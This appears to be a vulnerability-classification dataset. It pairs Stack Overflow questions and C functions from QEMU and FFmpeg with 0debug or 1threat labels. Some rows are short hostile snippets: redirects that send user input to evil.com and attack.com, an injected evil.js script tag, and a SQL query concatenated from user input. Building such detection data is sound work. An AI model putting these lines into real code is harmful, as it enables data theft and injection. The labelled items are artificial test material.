problem
stringlengths
26
131k
labels
class label
2 classes
How can I put these words in the same line on CSS? (Display function not working) : I want to put [these words][1] on the same line. I Tried all of the Display functions, also tried with text-align. Nothing worked. [1]: https://i.stack.imgur.com/LW8vw.jpg code: <h3 id="trying">If you have time, you shoul...
0debug
JSON without sorting swift : <p>i am trying load data from JSON file. While loading it changes order when it is converted to NSDictionary. Is there any way to get the data in the same order as in JSON file. Please guide me.</p>
0debug
Comparison between Big Data and Data Lakes , difference and similarities : <p>Can someone tell me the similarities and differences between Big data and Data Lakes.</p> <p>Can't find a satisfactory answer anywhere.</p>
0debug
PDO not working - simply displaying some of the code as if it wasn't PHP : <p>I'm new to PDO, so I apologise if this is a silly question. I have two files: writel.html contains a simple form, with formaction="submitArticle.php" and method="post". submitArticle.php contains the following:</p> <pre><code>&lt;?php $con ...
0debug
static void mpegts_insert_pcr_only(AVFormatContext *s, AVStream *st) { MpegTSWrite *ts = s->priv_data; MpegTSWriteStream *ts_st = st->priv_data; uint8_t *q; uint8_t buf[TS_PACKET_SIZE]; q = buf; *q++ = 0x47; *q++ = ts_st->pid >> 8; *q++ = ts_st->pid; *q++ = 0x20 | ts_s...
1threat
Python Datetime : use strftime() with a timezone-aware date : <p>Suppose I have date <code>d</code> like this : </p> <pre><code>&gt;&gt;&gt; d datetime(2009, 4, 19, 21, 12, tzinfo=tzoffset(None, -7200)) </code></pre> <p>As you can see, it is "timezone aware", there is an offset of 2 Hour, utctime is </p> <pre><code...
0debug
int ff_rv34_decode_update_thread_context(AVCodecContext *dst, const AVCodecContext *src) { RV34DecContext *r = dst->priv_data, *r1 = src->priv_data; MpegEncContext * const s = &r->s, * const s1 = &r1->s; int err; if (dst == src || !s1->context_initialized) return 0; if (s->height ...
1threat
void OPPROTO op_fdivr_ST0_FT0(void) { ST0 = FT0 / ST0; }
1threat
How to remove background from button : <p>I have got a basic button where you click it and it shows a modal, but I am unable to get the button transparent so that it does not have a background but just the text is visible.</p> <p>I have search on here and google, including w3 school for a solution but I have been unsu...
0debug
NumPy save some arrays at once : <p>I working on different shapes of arrays and I want to save them all with <code>numpy.save</code>, so, consider I have </p> <pre><code>mat1 = numpy.arange(8).reshape(4, 2) mat2 = numpy.arange(9).reshape(2, 3) numpy.save('mat.npy', numpy.array([mat1, mat2])) </code></pre> <p>It work...
0debug
void hmp_drive_add_node(Monitor *mon, const char *optstr) { QemuOpts *opts; QDict *qdict; Error *local_err = NULL; opts = qemu_opts_parse_noisily(&qemu_drive_opts, optstr, false); if (!opts) { return; } qdict = qemu_opts_to_qdict(opts, NULL); if (!qdict_get_try_st...
1threat
static int vpc_open(BlockDriverState *bs, QDict *options, int flags, Error **errp) { BDRVVPCState *s = bs->opaque; int i; VHDFooter *footer; VHDDynDiskHeader *dyndisk_header; uint8_t buf[HEADER_SIZE]; uint32_t checksum; int disk_type = VHD_DYNAMIC; int ret; ...
1threat
how can I asynchronously map/filter an asynchronous iterable? : <p>Let's say I have an asynchronous iterable that I can pass over using <code>async for</code>, how then can I then map and filter it to a new asynchronous iterator? The following code which is an adaptation of how I'd do the same thing with a synchronous ...
0debug
C programming when printf a string we are not using * why : In c programming when we print a string. We are not using * . But when print a number using printf we are using *. So how it is understanding, i am printing a string or int. Is understanding using %s operator? Attaching an example code #include<s...
0debug
Checking if user input matches a predefined pattern of words : <p>I want to make a grammar checker with Python. But this is not going to be a standard grammar checker. This is intended for learners of the English language who are at the beginner level. I wrote the following code to check if the user uses the correct fo...
0debug
Pinterest embed image does not show : <p>I'm trying to embed a Pinterest link, like explained <a href="https://developers.pinterest.com/tools/widget-builder/?type=pin&amp;url=https%3A%2F%2Fwww.pinterest.com%2Fpin%2F379006124862874372%2F" rel="noreferrer">here</a>.</p> <p>I've added this Pinterest link to a blog:</p> ...
0debug
Why does this change to the makefile make the performance go up? : <p>I recently completed a performance lab in class, but there was one thing that my buddy showed me that I can't figure out why. In the original makefile we had:</p> <pre><code>## ## CXX =g++ CXXFLAGS= -m32 -static </code></pre> <p>But I changed the ...
0debug
How do apps like Pizza Hut generate all nearby Pizza Hut locations using Google Maps? : <p>I am fairly new to programming and am currently working on my first full app by myself. The app has a few different parts, and one of those parts helps narrow a user's food selection down by restaurant. For instance, if the user ...
0debug
pci_ebus_init1(PCIDevice *s) { isa_bus_new(&s->qdev); pci_config_set_vendor_id(s->config, PCI_VENDOR_ID_SUN); pci_config_set_device_id(s->config, PCI_DEVICE_ID_SUN_EBUS); s->config[0x04] = 0x06; s->config[0x05] = 0x00; s->config[0x06] = 0xa0; s->config[0x07] = 0x03; s->conf...
1threat
Android How To Send Notifications When App Is Closed : <p>I'm developing small app that sends a notification from an update from a website, but I want it to update the notification when app is closed - similar to when we receive emails. </p>
0debug
iOS 10 UNUserNotificationCenterDelegate not called. push notifications not working : <p>Tearing my hair out tying to get push notifications to work in iOS10. Current setup:</p> <p>in <code>func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?)...
0debug
why I could use hbass without start hadoop/hdfs? : I am new to hbase, recently I installed hbase and tried to start it in my Mac. Everything is fine and I could play with hbase. In some articles, it said I should start hadoop first when using hbase, I am wondering if this prerequisite changed?
0debug
How to delete files inside hidden folder with python? : <p>I want do delete a file, for ex. 'myfile.txt' that is stored under a hidden folder. Is it possible to do this in python?</p> <p>thank you</p>
0debug
static uint32_t bonito_spciconf_readl(void *opaque, target_phys_addr_t addr) { PCIBonitoState *s = opaque; PCIDevice *d = PCI_DEVICE(s); PCIHostState *phb = PCI_HOST_BRIDGE(s->pcihost); uint32_t pciaddr; uint16_t status; DPRINTF("bonito_spciconf_readl "TARGET_FMT_plx"\n", addr); as...
1threat
Javascript - Merge multiple different array values of same length with a delimeter in a final single array? : I have 3 different array with same length var title = ['title 1','title 2','title 3']; var description = ['description 1','description 2','description 3']; var link = ['link 1','lin...
0debug
Generically derive Arbitrary for massive algebraic data types? : <p>I've got a protocol that I've typed like so:</p> <pre><code>data ProtocolPacket = Packet1 Word8 Text Int8 | Packet2 Text | Packet3 Int Text Text Text Text | Packet4 Int Double Double Double Int16 Int16 Int16 ... deriving (Show,Eq) </code><...
0debug
def count_element_in_list(list1, x): ctr = 0 for i in range(len(list1)): if x in list1[i]: ctr+= 1 return ctr
0debug
static int decode_nal_units(H264Context *h, const uint8_t *buf, int buf_size){ MpegEncContext * const s = &h->s; AVCodecContext * const avctx= s->avctx; int buf_index=0; H264Context *hx; int context_count = 0; int next_avc= h->is_avc ? 0 : buf_size; h->max_contexts = (HAVE_THREADS ...
1threat
How to retrieve all record from every table where id = 1 in MS SQL 2008 : How to retrieve all record from every table (Ex: table1, table2, table3, ... tableN ) where id = 1 from single database (EX: database1) in MS SQL 2008 Is this possible?
0debug
when to go for new string instead of string literal in java : <p>I know when we use <code>String s = new String("abc");</code> JVM will create the object in heap and when we use <code>String s = "abc";</code> the object gets created in String constant pool.</p> <p>IMO, using <code>String s = "abc";</code> serves our p...
0debug
Date and Time formatting on python : I'm trying to get make a comments section for a website with the backend written in python. As of now, everything works fine except I cannot figure out how to format the date and time the way I want. What I am trying to have at the time of posting is either of these: 1) Posted...
0debug
static av_cold int init_decoder(AVCodecContext *avctx) { avctx->pix_fmt = PIX_FMT_PAL8; return 0; }
1threat
clang-format closing bracket on a new line : <p>I have code that looks like this:</p> <pre><code>EXPECT_EQ( subsystem-&gt;previousTouchscreenState, expectedTouchscreenState ); </code></pre> <p>When I run <code>clang-format</code>, it reformats the snippet to look like this:</p> <pre><code>EXPECT_EQ( subs...
0debug
c program to find the duplicate element in an ascending array using logn time complexity : <p>Array is in ascending order need to find the duplicated number Need a program with logn time complexity </p> <pre><code> int n[] = {1, 2, 3, 4, 5, 5, 6}; int size = sizeof[n]; int mid; mi...
0debug
config.php are not work in live website but it's work localhost : - This is config.php file working properly in localhost but it's not work live website <?php $connect = @mysql_connect('localhost','root',''); mysql_select_db('bridgetechnosfot'); ?>
0debug
which plugin will use for bootstrap or html and css like this http://www.gwadarrealestate.pk/map/lahore/dha-lahore-rahbar-map.html : <p>which plugin will use for bootstrap or html and CSS like this for zoom </p> <p><a href="http://www.gwadarrealestate.pk/map/lahore/dha-lahore-rahbar-map.html" rel="nofollow noreferrer"...
0debug
How to cut date from date? : $uname -a SunOS 5.10 Generic_150400-33 sun4v sparc sun4v $date Friday, 6 May 2016 7:43:41 PM AEST $ date | cut -d"," -f1 Friday Now I need to cut the date alone where the output is 6 May 2016 ???
0debug
const uint8_t *ff_h264_decode_nal(H264Context *h, const uint8_t *src, int *dst_length, int *consumed, int length){ int i, si, di; uint8_t *dst; int bufidx; h->nal_ref_idc= src[0]>>5; h->nal_unit_type= src[0]&0x1F; src++; length--; #if HAVE_FAST_UNALIGNED # if HAVE_FAST_64BIT # ...
1threat
document.location = 'http://evil.com?username=' + user_input;
1threat
static int local_create_mapped_attr_dir(FsContext *ctx, const char *path) { int err; char attr_dir[PATH_MAX]; char *tmp_path = strdup(path); snprintf(attr_dir, PATH_MAX, "%s/%s/%s", ctx->fs_root, dirname(tmp_path), VIRTFS_META_DIR); err = mkdir(attr_dir, 0700); if (err <...
1threat
How to set the browser resolution to 2610*1610 using Selenium web driver in IE11 : I want to set the IE11 browser resolution to 2610*1610 using Selenium IE driver automatically through scripts
0debug
Which would be more correct on C++11: switch-case or if( .. || .. || .. )? : I'm trying to build simple lexical analyzer - lexer. The part I'm working on now is tokenizer. I'm writing function which determines whitespaces (whitespaces, tabs, newlines(CR, LF)) in the input sequence. So the question is which code is more...
0debug
C# Static Methods Calls : <p>I'm trying to create a static method that can be used in chaining, but the available options depend of the previous method within the chain</p> <p>For example MethodXX will only be an option if MethodA() was called.</p> <p>something.MethodA().MethodXX();</p> <p>If MethodB was called, the...
0debug
Reading a multiple line .txt file into an array Python : <p>I have a text file formatted as follows</p> <pre><code>a,b,c,d,e,f, g,h,i,j,k,l, </code></pre> <p>How would I read this and store it as an array that looks like <code>[[a,b,c,d,e,f],[g,h,i,j,k,l]]</code>?</p>
0debug
void av_opencl_uninit(void) { cl_int status; int i; LOCK_OPENCL gpu_env.init_count--; if (gpu_env.is_user_created) goto end; if ((gpu_env.init_count > 0) || (gpu_env.kernel_count > 0)) goto end; for (i = 0; i < gpu_env.program_count; i++) { if (gpu_env.prog...
1threat
What is the advantage of internal only elbs over secured public elbs? : <p>I'm a little unclear on the advantage of internal only ELBs. I could restrict access to my public ELBs with security groups and I have the advantage of allowing public traffic by merely adjusting the security group.</p> <p>Is the advantage just...
0debug
Assembly code fsqrt and fmul function : Im trying to compute 1.34 *sqrt(lght) in this function using assembly code, but Im getting errors like '_asm' undeclared (first use in this function) each undeclared identifier is reported only once for each func tion it appea...
0debug
How to perform multiplication for integers larger than 64 bits in C? : I want to multiply 57bit integer with 11bit integer. The result can be up to 68bits so I'm planning to split my result in to 2 different integers. I cannot use any library and It should be as simple as possible because the code will be translated to...
0debug
How to get List from Page in Spring Data REST : <p>I am using <code>JPARespository</code> for all my CRUD operation. Recently I wanted to implement sorting, so I went ahead with <code>Pagable</code>.</p> <p>The problem is, I want the repository methods to return <code>List</code> objects, I use them in my service laye...
0debug
getJSON each how to traverse to children objects : <p>I have the json below and I'm trying to traverse to the "results" and <b>get the question value or the incorrect answers values</b></p> <pre><code>{ "response_code": 0, "results": [ { "category": "Science &amp; Nature", "type": "multiple", ...
0debug
void hmp_info_cpus(Monitor *mon, const QDict *qdict) { CpuInfoList *cpu_list, *cpu; cpu_list = qmp_query_cpus(NULL); for (cpu = cpu_list; cpu; cpu = cpu->next) { int active = ' '; if (cpu->value->CPU == monitor_get_cpu_index()) { active = '*'; } m...
1threat
NFS client under WSL - mount.nfs: No such device : <p>I am getting the following error trying to mount a nfs export.</p> <pre><code>sudo mount 192.168.1.175:/mnt/nas /mnt/c/nas mount.nfs: No such device </code></pre> <p>Any ideas on how to fix this?</p>
0debug
Speeding up package load in Julia : <p>I wrote a program to solve a linear program in Julia using GLPKMathProgInterface and JuMP. The Julia code is being called by python program which runs multiple instances of the Juila code through multiple command line calls. While I'm extremely happy with the performance of the ...
0debug
how to solve these nin javascript : Locate the displayBirthdate function you initially defined, which took no parameter. Modify it to use object de-structuring to get just the 'dob' property of the parameter object it will receive here's the code const displayBirthdate = () => { }; const displ...
0debug
window.location.href = 'http://attack.com?user=' + user_input;
1threat
static int ogg_write_header(AVFormatContext *s) { OGGStreamContext *oggstream; int i, j; for (i = 0; i < s->nb_streams; i++) { AVStream *st = s->streams[i]; unsigned serial_num = i; if (st->codec->codec_type == AVMEDIA_TYPE_AUDIO) { if (st->codec->codec_id == ...
1threat
How to sumit 3 forms of 3 diffrent pages at once : I have 3 forms in 3 different pages, and submit button is on the 3rd page, how can I submit all 3 forms simultaneously by clicking on submit button. Is there any solution in javascript or jquery. page-1 <form id="firstForm"> <input type="checkbox" name="...
0debug
Scala : => parameters : <p>What does the (code: => Unit) parameter do in this scala function from the scala documentation:</p> <pre><code>def unless(exp: Boolean)(code: =&gt; Unit): Unit = if (!exp) code unless(x &lt; 5) { println("x was not less than five") } </code></pre> <p><a href="http://docs.scala-lang.org/st...
0debug
Does std::vector::reserve guarantee that the implementation will not invalidate iterators in this case? : <p>Here is a function which intends to:</p> <p>a) accept a vector of int</p> <p>b) for each int in the input vector, append the inverse of this int</p> <p>preconditions: none</p> <p>postconditions: returned vec...
0debug
static void blockdev_backup_prepare(BlkActionState *common, Error **errp) { BlockdevBackupState *state = DO_UPCAST(BlockdevBackupState, common, common); BlockdevBackup *backup; BlockDriverState *bs, *target; Error *local_err = NULL; assert(common->action->type == TRANSACTION_ACTION_KIND_BLOC...
1threat
static void set_signalled(sPAPRDRConnector *drc) { drc->signalled = true; }
1threat
The manually added controller can not be opened using url in mvc 5 : I'm new on asp.net mvc. I created a basic controller and I tried to open it using url. But rendering is not finished and my controller didn't display in several minutes. I did not change anything from default asp.net 5 mvc project also my controller's...
0debug
db.execute('SELECT * FROM products WHERE product_id = ' + product_input)
1threat
How to preserve base data frame rownames upon filtering in dplyr chain : <p>I have the following data frame:</p> <p> <br/></p> <pre class="lang-r prettyprint-override"><code>df &lt;- structure(list(BoneMarrow = c(30, 0, 0, 31138, 2703), Pulmonary = c(3380, 21223.3333333333, 0, 0, 27)), row.names = c("ATP1B1", "CYCS"...
0debug
Scope error:(TypeError: computeTotal() missing 1 required positional argument: 'drinks') : I know its a scope error but im not sure how to fix it since the variable is a global variable. [Code][1] [1]: https://i.stack.imgur.com/qjR4Q.png
0debug
When should you use npm install vs npm i : <p>Looking at npm's <a href="https://docs.npmjs.com/cli/install" rel="noreferrer">documentation</a>, 'i' is an alias of 'install', would there be any circumstances where it is preferable to use the full 'npm install'?</p>
0debug
Video played with AVPlayer has grey line to top and sides on iPhone 6S Plus : <p>This seems to be a device specific bug on only <strong>iPhone 6S Plus</strong>.</p> <p>Steps:</p> <ol> <li>Download <a href="https://developer.apple.com/library/ios/samplecode/AVPlayerDemo/Introduction/Intro.html" rel="noreferrer">AVPlay...
0debug
int ppc_radix64_handle_mmu_fault(PowerPCCPU *cpu, vaddr eaddr, int rwx, int mmu_idx) { CPUState *cs = CPU(cpu); CPUPPCState *env = &cpu->env; PPCVirtualHypervisorClass *vhc = PPC_VIRTUAL_HYPERVISOR_GET_CLASS(cpu->vhyp); hwaddr raddr, pte_addr; uint64_...
1threat
How to change the size of item-avatar in ionic? : <p>I am developing an app using ionic framework. I need to display an image in the side menu header. I have used <strong>item-avatar</strong> to display the image. Here is the code.</p> <pre><code>&lt;ion-side-menus&gt; &lt;ion-side-menu side="left"&gt; &lt;ion-hea...
0debug
How to compare two Images using nodeJs? : <p>Need to compare below image urls:</p> <p><a href="https://cdn-image.foodandwine.com/sites/default/files/original-201404-HD-buckwheat-crepes.jpg" rel="nofollow noreferrer">https://cdn-image.foodandwine.com/sites/default/files/original-201404-HD-buckwheat-crepes.jpg</a> <a hr...
0debug
Connect PHP cripts remotely : I'm trying to use some PHP scripts but when i try o use them it gives me an error ("this page isn't working"). I can see the PHP files in the navigator this way http://public-ip/folder/ but then when i tape http://public-ip/folder/script.php it appears the error. If it helps the same err...
0debug
int ppc_hash32_handle_mmu_fault(CPUPPCState *env, target_ulong address, int rw, int mmu_idx) { struct mmu_ctx_hash32 ctx; int access_type; int ret = 0; if (rw == 2) { rw = 0; access_type = ACCESS_CODE; } else { a...
1threat
static const unsigned char *seq_decode_op2(SeqVideoContext *seq, const unsigned char *src, unsigned char *dst) { int i; for (i = 0; i < 8; i++) { memcpy(dst, src, 8); src += 8; dst += seq->frame.linesize[0]; } return src; }
1threat
static void vector_fmul_window_mips(float *dst, const float *src0, const float *src1, const float *win, int len) { int i, j; float * dst_i, * dst_j, * dst_i2, * dst_j2; float temp, temp1, temp2, temp3, temp4, temp5, temp6, temp7; dst += len; win += len; src0 += len;...
1threat
Horizontal Scroll using buttons on angular2 : <p>So I have this app in angular2 where I need to scroll a component horizontally but with buttons right and left. So I need a function for each button that scroll to right or left the content. I need something like this: <a href="https://i.stack.imgur.com/eJaau.png" rel="n...
0debug
MATLAB no longer unloading MEX-files after upgrade to macOS Mojave : <p>In MATLAB, <code>clear mex</code> unloads all MEX-files from memory (unless they're locked). Under previous versions of macOS, I was able to re-compile a MEX-file and run the modified version without restarting MATLAB, simply by issuing a <code>cle...
0debug
Vue instance inside Vue instance : <p>Sup people!</p> <p>I got this HTML code here:</p> <pre><code>// index.html &lt;div data-init="component-one"&gt; &lt;...&gt; &lt;div data-init="component-two"&gt; &lt;button @click="doSomething($event)"&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>This basically refere...
0debug
static void virtqueue_map_desc(unsigned int *p_num_sg, hwaddr *addr, struct iovec *iov, unsigned int max_num_sg, bool is_write, hwaddr pa, size_t sz) { unsigned num_sg = *p_num_sg; assert(num_sg <= max_num_sg); if (!sz) { error_report("vi...
1threat
clk_setup_cb cpu_ppc_tb_init (CPUPPCState *env, uint32_t freq) { PowerPCCPU *cpu = ppc_env_get_cpu(env); ppc_tb_t *tb_env; tb_env = g_malloc0(sizeof(ppc_tb_t)); env->tb_env = tb_env; tb_env->flags = PPC_DECR_UNDERFLOW_TRIGGERED; if (env->insns_flags & PPC_SEGMENT_64B) { ...
1threat
static void qemu_chr_parse_spice_vmc(QemuOpts *opts, ChardevBackend *backend, Error **errp) { const char *name = qemu_opt_get(opts, "name"); if (name == NULL) { error_setg(errp, "chardev: spice channel: no name given"); return; } backend->u....
1threat
Why is Python 3 http.client so much faster than python-requests? : <p>I was testing different Python HTTP libraries today and I realized that <a href="https://docs.python.org/3/library/http.client.html" rel="noreferrer"><code>http.client</code></a> library seems to perform much much faster than <a href="http://docs.pyt...
0debug
Open source Test Data Tool for Oracle : <p>Is there any open source test data generator tool to populate oracle database? I did some searches and came across devart, datanamic but these are paid ones.</p>
0debug
Why is this program not polymorphic? : <p>In the follwoing program I am trying to overload a method by passing paramaters, but the out put for both methods is the same </p> <pre><code> public class A { int a = 11; int b = 20; static int c = 0; public void A1(){ c = a+b; ...
0debug
Could not find "fill parent" in Android Studio : <p>Hi I am following an android tutorial and i need to do fill parent.</p> <p>However, I didn't find it in the layout list. The only two options are "wrap content" and "match parent".</p> <p>I am using Android Studio 2.3.3 on MacBook Pro 2016.</p> <p>Hope someone coul...
0debug
static int bonito_initfn(PCIDevice *dev) { PCIBonitoState *s = DO_UPCAST(PCIBonitoState, dev, dev); pci_config_set_vendor_id(dev->config, 0xdf53); pci_config_set_device_id(dev->config, 0x00d5); pci_config_set_class(dev->config, PCI_CLASS_BRIDGE_HOST); pci_config_set_prog_interface(dev-...
1threat
How can I fix double scroll bar in Windows 10 Firefox? : #Environment - Laravel Version : **5.1.45 (LTS)** - PHP Version : **5.6.1** _______________ #Description I have using a tlk chat integration, and I kept seeing 2 scrollbar on Windows Firefox + IE. Mac is fine, Chrome is fine. [![enter image de...
0debug
How to get terminal window inside Visual Studio 2017 / 2019? : <p>I was just reading this article - <a href="https://devblogs.microsoft.com/dotnet/visual-studio-2019-net-productivity-2/" rel="noreferrer">https://devblogs.microsoft.com/dotnet/visual-studio-2019-net-productivity-2/</a> and noticed in one of the GIF image...
0debug
void msi_notify(PCIDevice *dev, unsigned int vector) { uint16_t flags = pci_get_word(dev->config + msi_flags_off(dev)); bool msi64bit = flags & PCI_MSI_FLAGS_64BIT; unsigned int nr_vectors = msi_nr_vectors(flags); MSIMessage msg; assert(vector < nr_vectors); if (msi_is_masked(dev, vecto...
1threat
R: find date closest to row specific date : I have the following dataframe in R https://i.stack.imgur.com/buNOS.png 1st column contains identification numbers (respnr) 2nd column contains reference date per identification number (cdatalg) 3rd through 16th column contains dates (datesc1:datesc14) I wish to ...
0debug
document.write('<script src="evil.js"></script>');
1threat
How can i remove duplicate from a string in python?. My approaches have all been rejected. Below is a code i have : These are codes i've been stuck on, really don't know what to do from here: def remove_duplicates(string): s = string.split() return string.replace(s[0],"") def RemoveDupliChar(Word):...
0debug
alert('Hello ' + user_input);
1threat
static void pci_device_reset(PCIDevice *dev) { int r; memset(dev->irq_state, 0, sizeof dev->irq_state); dev->config[PCI_COMMAND] &= ~(PCI_COMMAND_IO | PCI_COMMAND_MEMORY | PCI_COMMAND_MASTER); dev->config[PCI_CACHE_LINE_SIZE] = 0x0; dev->config[PCI_INTERRUP...
1threat
How should I go about querying SQL database based on html <a> click? : <p>What I want to do is when a user clicks an HTML a PHP file querys MySQL database and display the data in a popup tab. How should I go about doing this? Should I use javascript to handle the button events? Or can this be done with only PHP? Maybe...
0debug
compare 2 string arraylist and get same value in console : I have 2 below string array list. ArrayList<String> sourceArray = [bg, zh_cn, cs, da, en_us]; ArrayList<String> targetArray = [bg, pt, ru, sg, da, en_us]; I want to write the code in java, where I will compare this two arraylist get the same value...
0debug
static void pci_qdev_realize(DeviceState *qdev, Error **errp) { PCIDevice *pci_dev = (PCIDevice *)qdev; PCIDeviceClass *pc = PCI_DEVICE_GET_CLASS(pci_dev); Error *local_err = NULL; PCIBus *bus; bool is_default_rom; if (pc->is_express) { pci_dev->cap_present |= QEMU_PCI_CA...
1threat
Backtracing variable UIBezlerPath : What to do? I'm getting this Error when i setted the Backtracing Variable... This Code is causing the Error for sure: UIBezierPath* ovalPath = [UIBezierPath bezierPath]; [ovalPath addArcWithCenter: CGPointMake(CGRectGetMidX(ovalRect), CGRectGetMidY(ovalRect)) radius: CGRect...
0debug
How to open keyboard automatically in React Native? : <p>I have a screen in my React Native application in which I have few text fields.</p> <p>I was wondering if there is any way in which on screen load my keyword opens automatically and focuses on my first text input field?</p> <p>I was searching for something lik...
0debug
Python 3 - how to knock off that last comma : So I am wondering what the best way to knock off that last comma printed. for i in range(1, 21): print(i, end=",")
0debug
After Task.IsCompleted what is better: await or Result : <p>I'm working in a simple timeout code for my http requests. I got this</p> <pre><code>private async Task&lt;HttpResponseMessage&gt; ExecuteIOTask(Task&lt;HttpResponseMessage&gt; ioTask, int timeout) { var timeoutTask = await Task.WhenAny(Task.Delay...
0debug